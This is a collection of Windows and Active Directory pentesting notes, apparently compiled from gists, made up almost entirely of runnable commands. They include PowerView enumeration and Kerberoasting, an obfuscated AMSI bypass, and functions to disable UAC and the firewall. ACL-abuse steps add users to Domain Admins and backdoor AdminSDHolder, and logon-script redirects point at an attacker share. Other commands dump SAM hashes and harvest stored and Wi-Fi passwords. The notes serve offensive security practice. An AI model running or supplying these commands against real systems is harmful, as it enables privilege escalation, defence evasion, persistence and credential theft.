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Some Pentesting Notes
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| Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts | |
| ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() | |
| Grab Forest Trusts. | |
| ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships() | |
| Get Trusted Domains | |
| nltest /trusted_domains | |
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| gdr -PSProvider 'FileSystem' | %{ls -r $_.root} 2>$null | where { $_.name -eq "flag.txt"} -verbose | |
| Find all DOC files | |
| Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination c:\temp} |
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| Under Administrative Context, forward all https traffic to another host | |
| netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=443 connectaddress=192.168.99.23 connectport=443 |
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| # PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ | |
| # tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c | |
| # the most up-to-date version of PowerView will always be in the dev branch of PowerSploit: | |
| # https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 | |
| # New function naming schema: | |
| # Verbs: | |
| # Get : retrieve full raw data sets | |
| # Find : ‘find’ specific data entries in a data set | |
| # Add : add a new object to a destination | |
| # Set : modify a given object | |
| # Invoke : lazy catch-all | |
| # Nouns: | |
| # Verb-Domain* : indicates that LDAP/.NET querying methods are being executed | |
| # Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration | |
| # Verb-Net* : indicates that Win32 API access is being used under the hood | |
| # get all the groups a user is effectively a member of, 'recursing up' using tokenGroups | |
| Get-DomainGroup -MemberIdentity <User/Group> | |
| # get all the effective members of a group, 'recursing down' | |
| Get-DomainGroupMember -Identity "Domain Admins" -Recurse | |
| # use an alterate creadential for any function | |
| $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force | |
| $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
| Get-DomainUser -Credential $Cred | |
| # retrieve all the computer dns host names a GPP password applies to | |
| Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname} | |
| # get all users with passwords changed > 1 year ago, returning sam account names and password last set times | |
| $Date = (Get-Date).AddYears(-1).ToFileTime() | |
| Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset | |
| # all enabled users, returning distinguishednames | |
| Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname | |
| Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname | |
| # all disabled users | |
| Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" | |
| Get-DomainUser -UACFilter ACCOUNTDISABLE | |
| # all users that require smart card authentication | |
| Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" | |
| Get-DomainUser -UACFilter SMARTCARD_REQUIRED | |
| # all users that *don't* require smart card authentication, only returning sam account names | |
| Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname | |
| Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname | |
| # use multiple identity types for any *-Domain* function | |
| 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff | |
| # find all users with an SPN set (likely service accounts) | |
| Get-DomainUser -SPN | |
| # check for users who don't have kerberos preauthentication set | |
| Get-DomainUser -PreauthNotRequired | |
| Get-DomainUser -UACFilter DONT_REQ_PREAUTH | |
| # find all service accounts in "Domain Admins" | |
| Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'} | |
| # find users with sidHistory set | |
| Get-DomainUser -LDAPFilter '(sidHistory=*)' | |
| # find any users/computers with constrained delegation st | |
| Get-DomainUser -TrustedToAuth | |
| Get-DomainComputer -TrustedToAuth | |
| # enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation | |
| $Computers = Get-DomainComputer -Unconstrained | |
| $Users = Get-DomainUser -AllowDelegation -AdminCount | |
| # return the local *groups* of a remote server | |
| Get-NetLocalGroup SERVER.domain.local | |
| # return the local group *members* of a remote server using Win32 API methods (faster but less info) | |
| Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local | |
| # Kerberoast any users in a particular OU with SPNs set | |
| Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" | |
| # Find-DomainUserLocation == old Invoke-UserHunter | |
| # enumerate servers that allow unconstrained Kerberos delegation and show all users logged in | |
| Find-DomainUserLocation -ComputerUnconstrained -ShowAll | |
| # hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation | |
| Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation | |
| # find all computers in a given OU | |
| Get-DomainComputer -SearchBase "ldap://OU=..." | |
| # Get the logged on users for all machines in any *server* OU in a particular domain | |
| Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}} | |
| # enumerate all gobal catalogs in the forest | |
| Get-ForestGlobalCatalog | |
| # turn a list of computer short names to FQDNs, using a global catalog | |
| gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname} | |
| # enumerate the current domain controller policy | |
| $DCPolicy = Get-DomainPolicy -Policy DC | |
| $DCPolicy.PrivilegeRights # user privilege rights on the dc... | |
| # enumerate the current domain policy | |
| $DomainPolicy = Get-DomainPolicy -Policy Domain | |
| $DomainPolicy.KerberosPolicy # useful for golden tickets ;) | |
| $DomainPolicy.SystemAccess # password age/etc. | |
| # enumerate what machines that a particular user/group identity has local admin rights to | |
| # Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation | |
| Get-DomainGPOUserLocalGroupMapping -Identity <User/Group> | |
| # enumerate what machines that a given user in the specified domain has RDP access rights to | |
| Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP | |
| # export a csv of all GPO mappings | |
| Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv | |
| # use alternate credentials for searching for files on the domain | |
| # Find-InterestingDomainShareFile == old Invoke-FileFinder | |
| $Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force | |
| $Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) | |
| Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential | |
| # enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names | |
| Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local | |
| # grant user 'will' the rights to change 'matt's password | |
| Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose | |
| # audit the permissions of AdminSDHolder, resolving GUIDs | |
| Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs | |
| # backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse | |
| Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All | |
| # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) | |
| Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { | |
| ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') | |
| } | |
| # find linked DA accounts using name correlation | |
| Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname} | |
| # save a PowerView object to disk for later usage | |
| Get-DomainUser | Export-Clixml user.xml | |
| $Users = Import-Clixml user.xml | |
| # Find any machine accounts in privileged groups | |
| Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} | |
| # Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights | |
| Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | |
| # find all policies applied to a current machine | |
| Get-DomainGPO -ComputerIdentity windows1.testlab.local | |
| # enumerate all groups in a domain that don't have a global scope, returning just group names | |
| Get-DomainGroup -GroupScope NotGlobal -Properties name | |
| # enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships | |
| # query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames | |
| $ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname | |
| $Domains = @{} | |
| $ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) { | |
| # extract the domain the foreign user was added to | |
| $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
| # check if we've already enumerated this domain | |
| if (-not $Domains[$ForeignUserDomain]) { | |
| $Domains[$ForeignUserDomain] = $True | |
| # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set | |
| $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))" | |
| Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member | |
| } | |
| } | |
| $ForeignMemberships | fl | |
| # if running in -sta mode, impersonate another credential a la "runas /netonly" | |
| $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
| $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
| Invoke-UserImpersonation -Credential $Cred | |
| # ... action | |
| Invoke-RevertToSelf | |
| # enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer | |
| Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier | |
| # set the specified property for the given user identity | |
| Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose | |
| # Set the owner of 'dfm' in the current domain to 'harmj0y' | |
| Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y | |
| # retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) | |
| Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { | |
| ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') | |
| } | |
| # check if any user passwords are set | |
| $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl |
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| Using Powerview - see if our user George has Generic All rights on the AD object for the user Martha | |
| Get-ObjectAcl -SamAccountName Martha -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | |
| Using SharpView in Cobalt Strike (Keep in mind, can't pipe commands with .NET executables | |
| execute-assembly /opt/exe/SharpView.exe Get-ObjectAcl -SamAccountName Martha -ResolveGUIDS |
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| Disable AMSI | |
| sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) | |
| Disable IE security on servers | |
| function Disable-InternetExplorerESC { | |
| $AdminKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}" | |
| $UserKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}" | |
| Set-ItemProperty -Path $AdminKey -Name "IsInstalled" -Value 0 | |
| Set-ItemProperty -Path $UserKey -Name "IsInstalled" -Value 0 | |
| Stop-Process -Name Explorer | |
| Write-Host "IE Enhanced Security Configuration (ESC) has been disabled." -ForegroundColor Green | |
| } | |
| Enable IE Security on servers | |
| function Enable-InternetExplorerESC { | |
| $AdminKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A7-37EF-4b3f-8CFC-4F3A74704073}" | |
| $UserKey = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{A509B1A8-37EF-4b3f-8CFC-4F3A74704073}" | |
| Set-ItemProperty -Path $AdminKey -Name "IsInstalled" -Value 1 | |
| Set-ItemProperty -Path $UserKey -Name "IsInstalled" -Value 1 | |
| Stop-Process -Name Explorer | |
| Write-Host "IE Enhanced Security Configuration (ESC) has been enabled." -ForegroundColor Green | |
| } | |
| Disable UAC | |
| function Disable-UserAccessControl { | |
| Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 00000000 | |
| Write-Host "User Access Control (UAC) has been disabled." -ForegroundColor Green |
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| This is a web gateway to powershell on machines | |
| Install Powershell Web Access | |
| Install-WindowsFeature -Name WindowsPowerShellWebAccess (need admin access, also is noisy) | |
| Configure Gateway | |
| Install-PswaWebApplication -useTestCertificate | |
| Configure Authorization | |
| Add-PswaAuthorizationRule -UserName <domain\user> -ComputerName <computer_name> -ConfigurationName <session_configuration_name> | |
| Allow all the things (Not OpSec) | |
| Add-PswaAuthorizationRule -UserName * -ComputerName * ConfigurationName * |
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| Using Powerview Master branch (Not Dev Branch) | |
| https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces | |
| What does the powerview output look like? | |
| InheritedObjectType : All | |
| ObjectDN : CN=LocalAdmins,CN=Users,DC=it,DC=RagePwn,DC=local | |
| ObjectType : All | |
| IdentityReference : IT\Domain Admins | |
| IsInherited : False | |
| ActiveDirectoryRights : GenericAll | |
| PropagationFlags : None | |
| ObjectFlags : None | |
| InheritanceFlags : None | |
| InheritanceType : None | |
| AccessControlType : Allow | |
| ObjectSID : S-1-5-21-948911695-1962824894-4291460540-1234 | |
| Step 0. Do a sweep of what ACL's you have permission over look for WriteDACL, GenericAll etc | |
| Invoke-ACLScanner | |
| Step 1. Find basic info about a group | |
| a. Get-NetGroup "localadmins" -FullData | |
| b. Grab data from distinguished name field on output e.g., "CN=Domain Admins,CN=Users,DC=RagePwn,DC=local" | |
| Step 2. Verify what ACL's we have privileges over | |
| example 1, get ACL listing over the group Domain Admins. Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=RagePwn,DC=local"} | |
| example 2, Get ACL listing over the user george as the user bob. Get-ObjectAcl -ResolveGUIDs -SamAccountName george | ? {$_.IdentityReference -eq "RagePwn\bob"} | |
| **Look at Identity Reference - this should be your name e.g., RagePwn\normaluser99 | |
| **Look at Active Directory Rights - Generic All etc means you can do anything, see below for a list of rights | |
| Step 3. Abuse Examples | |
| a. If you have generic all under Active Directory Rights, you can add yourself to a group | |
| net group "domain admins" normaluser99 /add /domain | |
| net user normaluser99 /domain; Add-NetGroupUser -UserName normaluser99 -GroupName "domain admins" -Domain "offense.local"; net user normaluser99 /domain | |
| # with active directory module | |
| Add-ADGroupMember -Identity "domain admins" -Members spotless | |
| # with Powersploit | |
| Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" | |
| b. If you have WriteDacl, WriteOwner you can give yourself generic all on the group "localadmins" | |
| $ADSI = [ADSI]"LDAP://CN=LocalAdmins,CN=Users,DC=it,DC=gcb,DC=local" | |
| $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) | |
| $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" | |
| $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) | |
| $ADSI.psbase.commitchanges() | |
| c. If you have WriteProperty on Active Directory Rights add yourself to a group | |
| net group "domain admins" normaluser99 /add /domain | |
| # with active directory module | |
| Add-ADGroupMember -Identity "domain admins" -Members spotless | |
| # with Powersploit | |
| Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" | |
| If we have Extended Rights on User-Force-Change-Password Object Type, we can reset a user's password without them knowing | |
| d. If you have Self-Membership on an object type, you can add yourself to a group | |
| net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain | |
| e. If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password: | |
| Get-ObjectAcl -SamAccountName normaluser99 -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} | |
| #powerview | |
| Set-DomainUserPassword -Identity normaluser99 -Verbose | |
| $c = Get-Credential | |
| Set-DomainUserPassword -Identity normaluser99 -AccountPassword $c.Password -Verbose | |
| #one-liner, for things like Cobalt Strike | |
| Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose | |
| f. If we have Write Owner on a Group, we can become the owner of that group | |
| Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "normaluser99" -Verbose | |
| -Identity if the SID of Domain Admins | |
| -OwnerIdentity is the new owner of Domain Admins | |
| g. If we have WriteProperty on an Object Type (in this case, Script-Path) we can overwrite the logon script path of a user | |
| Set-ADObject -SamAccountName normaluser99 -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" | |
| The above command will set normaluser99's logonscript to "\\10.0.0.5\totallyLegitScript.ps1" - beacons anyone? | |
| ACL Rights | |
| • GenericAll - full rights to the object (add users to a group or reset user's password) | |
| • GenericWrite - update object's attributes (i.e logon script) | |
| • WriteOwner - change object owner to attacker controlled user take over the object | |
| • WriteDACL - modify object's ACEs and give attacker full control right over the object | |
| • AllExtendedRights - ability to add user to a group or reset password | |
| • ForceChangePassword - ability to change user's password | |
| • Self (Self-Membership) - ability to add yourself to a group |
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| View Hotfixes | |
| cmd line - systeminfo | |
| powershell - Get-Hotfix | |
| Uninstall Hotfix | |
| wusa /uninstall /kb:1234512 |
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| https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md | |
| Windows Version and Configuration | |
| systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | |
| Extract patchs and updates | |
| wmic qfe | |
| Architecture | |
| wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% | |
| List all env variables | |
| cmd line - set | |
| powershell - Get-ChildItem Env: | ft Key,Value | |
| List all drives | |
| wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root | |
| Get current username | |
| echo %USERNAME% || whoami $env:username | |
| List user privilege | |
| whoami /priv | |
| List all users | |
| net user | |
| whoami /all | |
| Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name | |
| List all local groups | |
| net localgroup | |
| Get-LocalGroup | ft Name | |
| Get details about a group (i.e. administrators) | |
| net localgroup administrators | |
| Get-LocalGroupMember Administrators | ft Name, PrincipalSource | |
| Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource | |
| List all network interfaces, IP, and DNS. | |
| ipconfig /all | |
| Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft | |
| List the ARP table | |
| arp -A | |
| Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State | |
| List all current connections | |
| netstat -ano | |
| Disable firewall | |
| netsh firewall set opmode disable | |
| netsh advfirewall set allprofiles state off | |
| List all network shares | |
| net share | |
| SNMP Configuration | |
| reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse | |
| SAM and SYSTEM files | |
| The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. | |
| # Usually %SYSTEMROOT% = C:\Windows | |
| %SYSTEMROOT%\repair\SAM | |
| %SYSTEMROOT%\System32\config\RegBack\SAM | |
| %SYSTEMROOT%\System32\config\SAM | |
| %SYSTEMROOT%\repair\system | |
| %SYSTEMROOT%\System32\config\SYSTEM | |
| %SYSTEMROOT%\System32\config\RegBack\system | |
| Read a value of a certain sub key | |
| REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList | |
| EoP - Processes Enumeration and Tasks | |
| What processes are running? | |
| tasklist /v | |
| net start | |
| sc query | |
| Get-Service | |
| Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize | |
| Which processes are running as "system" | |
| tasklist /v /fi "username eq system" | |
| Do you have powershell magic? | |
| REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion | |
| List installed programs | |
| Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime | |
| Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name | |
| List services | |
| net start | |
| wmic service list brief | |
| tasklist /SVC | |
| Scheduled tasks | |
| schtasks /query /fo LIST 2>nul | findstr TaskName | |
| schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM | |
| Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State | |
| Startup tasks | |
| wmic startup get caption,command | |
| reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R | |
| reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run | |
| reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce | |
| dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" | |
| dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" |
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| Allow RDP | |
| netsh advfirewall firewall add rule name="Remote Desktop (TCP-In)" dir=in action=allow protocol=TCP localport=3389 | |
| Allow https in and out | |
| netsh advfirewall firewall add rule name="https" dir=in action=allow protocol=TCP localport=443 | |
| netsh advfirewall firewall add rule name="https" dir=out action=allow protocol=TCP localport=443 | |
| Allow https in and out for different firewall profiles | |
| netsh advfirewall firewall add rule name="https" dir=in action=allow protocol=TCP localport=443 profile=private,public,domain | |
| netsh advfirewall firewall add rule name="https" dir=out action=allow protocol=TCP localport=443 profile=private,public,domain | |
| Allow https in and out for different firewall profiles Cobalt Strike 8443 Beacon | |
| netsh advfirewall firewall add rule name="https" dir=in action=allow protocol=TCP localport=8443 profile=private,public,domain | |
| netsh advfirewall firewall add rule name="https" dir=out action=allow protocol=TCP localport=8443 profile=private,public,domain | |
| Netsh Helper list - https://superuser.com/questions/430414/netsh-advfirewall-command-not-found **In case you are making firewall rules and getting error messages | |
| advfirewall: netsh add helper AUTHFWCFG.DLL | |
| firewall: netsh add helper FWCFG.DLL | |
| http: netsh add helper NSHHTTP.DLL | |
| interface: netsh add helper IFMON.DLL | |
| bridge: netsh add helper HNETMON.DLL | |
| dhcpclient: netsh add helper DHCPCMONITOR.DLL | |
| dnsclient, netio: netsh add helper NETIOHLP.DLL | |
| ipsec: netsh add helper NSHIPSEC.DLL | |
| lan: netsh add helper DOT3CFG.DLL | |
| mbn: netsh add helper WWANCFG.DLL | |
| namespace: netsh add helper NETIOHLP.DLL | |
| nap: netsh add helper NAPMONTR.DLL | |
| p2p: netsh add helper P2PNETSH.DLL | |
| ras: netsh add helper RASMONTR.DLL | |
| rpc: netsh add helper RPCNSH.DLL | |
| trace: netsh add helper NETTRACE.DLL | |
| wcn: netsh add helper WCNNETSH.DLL | |
| wfp: netsh add helper NSHWFP.DLL | |
| winhttp: netsh add helper WHHELPER.DLL | |
| winsock: netsh add helper WSHELPER.DLL | |
| wlan: netsh add helper WLANCFG.DLL |
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| SAM and SYSTEM files | |
| The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. | |
| # Usually %SYSTEMROOT% = C:\Windows | |
| %SYSTEMROOT%\repair\SAM | |
| %SYSTEMROOT%\System32\config\RegBack\SAM | |
| %SYSTEMROOT%\System32\config\SAM | |
| %SYSTEMROOT%\repair\system | |
| %SYSTEMROOT%\System32\config\SYSTEM | |
| %SYSTEMROOT%\System32\config\RegBack\system | |
| Generate a hash file for John using pwdump or samdump2. | |
| pwdump SYSTEM SAM > /root/sam.txt | |
| samdump2 SYSTEM SAM -o sam.txt | |
| Passwords stored in services | |
| Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher | |
| https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1 | |
| Import-Module path\to\SessionGopher.ps1; | |
| Invoke-SessionGopher -AllDomain -o | |
| Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss |
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| Get Details about the current forest | |
| Powerview | |
| Get-NetForest | |
| Get-NetForest -Forest victim.local | |
| ActiveDirectory Module | |
| Get-ADForest | |
| Get-ADForest -Identity victim.local | |
| Get all domains in the current forest More Powerview | |
| Get-NetforestDomain | |
| Get-NetForestDomain -Forest victim.local | |
| Using Active Directory Module | |
| (Get-ADForest).domains |
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| Search for file contents | |
| cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt | |
| findstr /si password *.xml *.ini *.txt *.config | |
| findstr /spin "password" *.* | |
| Search for a file with a certain filename | |
| dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* | |
| where /R C:\ user.txt | |
| where /R C:\ *.ini | |
| Search the registry for key names and passwords | |
| REG QUERY HKLM /F "password" /t REG_SZ /S /K | |
| REG QUERY HKCU /F "password" /t REG_SZ /S /K | |
| reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin | |
| reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" | |
| reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters | |
| reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials | |
| reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials | |
| reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password | |
| reg query HKLM /f password /t REG_SZ /s | |
| reg query HKCU /f password /t REG_SZ /s | |
| Passwords in unattend.xml | |
| Location of the unattend.xml files. | |
| C:\unattend.xml | |
| C:\Windows\Panther\Unattend.xml | |
| C:\Windows\Panther\Unattend\Unattend.xml | |
| C:\Windows\system32\sysprep.inf | |
| C:\Windows\system32\sysprep\sysprep.xml | |
| Display the content of these files with | |
| dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul | |
| Other files | |
| %SYSTEMDRIVE%\pagefile.sys | |
| %WINDIR%\debug\NetSetup.log | |
| %WINDIR%\repair\sam | |
| %WINDIR%\repair\system | |
| %WINDIR%\repair\software, %WINDIR%\repair\security | |
| %WINDIR%\iis6.log | |
| %WINDIR%\system32\config\AppEvent.Evt | |
| %WINDIR%\system32\config\SecEvent.Evt | |
| %WINDIR%\system32\config\default.sav | |
| %WINDIR%\system32\config\security.sav | |
| %WINDIR%\system32\config\software.sav | |
| %WINDIR%\system32\config\system.sav | |
| %WINDIR%\system32\CCM\logs\*.log | |
| %USERPROFILE%\ntuser.dat | |
| %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat | |
| %WINDIR%\System32\drivers\etc\hosts | |
| dir c:*vnc.ini /s /b | |
| dir c:*ultravnc.ini /s /b | |
| Wifi passwords | |
| Find AP SSID | |
| netsh wlan show profile | |
| Get Cleartext Pass | |
| netsh wlan show profile <SSID> key=clear | |
| Oneliner method to extract wifi passwords from all the access point. | |
| cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on |
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| Show permissions of what users/groups can access this service. | |
| 1. wmic useraccount where name='username' get sid - this will give you your sid | |
